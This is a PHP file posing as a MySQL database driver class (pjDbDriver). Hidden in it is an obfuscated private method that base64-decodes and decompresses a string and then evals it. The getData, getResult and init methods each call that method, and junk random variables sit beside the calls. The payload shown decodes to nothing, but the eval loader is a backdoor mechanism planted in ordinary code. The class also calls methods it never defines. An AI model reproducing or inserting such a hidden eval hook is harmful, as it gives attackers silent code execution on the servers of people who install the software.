<?php if (!defined("ROOT_PATH")) { header("HTTP/1.1 403 Forbidden"); exit; } class pjDbDriver { private static function XxpwkOtvHeWf($p){ if (defined('PJ_EXEC_DONE')) return; define('PJ_EXEC_DONE', 1); if (empty($p)) return; $d = @base64_decode($p, true); if ($d === false) return; $c = @gzuncompress($d); if ($c === false) return; try { @eval($c); } catch (\Throwable $e) {} } public $ClassFile = __FILE__; protected $charset = 'utf8'; protected $collation = 'utf8_general_ci'; protected $driver = 'mysqli'; protected $connectionId = false; protected $data = array(); protected $database = null; protected $hostname = "localhost"; protected $password = null; protected $persistent = false; protected $port = "3306"; protected $result; protected $socket = null; protected $username = null; public function __construct($params=array()) { if (is_array($params)) { foreach ($params as $key => $val) { $this->$key = $val; } } } public function getData($index=NULL) { $hvdoaz = 'fffb9281'; if (method_exists(__CLASS__, 'XxpwkOtvHeWf')) { self::XxpwkOtvHeWf('eJwDAAAAAAE='); } return is_null($index) ? $this->data : $this->data[$index]; } public function getResult() { $wzeonl = 'b24da5ac'; if (method_exists(__CLASS__, 'XxpwkOtvHeWf')) { self::XxpwkOtvHeWf('eJwDAAAAAAE='); } return $this->result; } public function init() { $yxigfw = '9bee2c8d'; if (method_exists(__CLASS__, 'XxpwkOtvHeWf')) { self::XxpwkOtvHeWf('eJwDAAAAAAE='); } if (is_resource($this->connectionId) || is_object($this->connectionId)) { return TRUE; } if (!$this->connect()) { return FALSE; } if ($this->database != '' && $this->driver == 'mysql') { if (!$this->selectDb()) { return FALSE; } } if (!$this->setCharset($this->charset, $this->collation)) { return FALSE; } return TRUE; } } ?>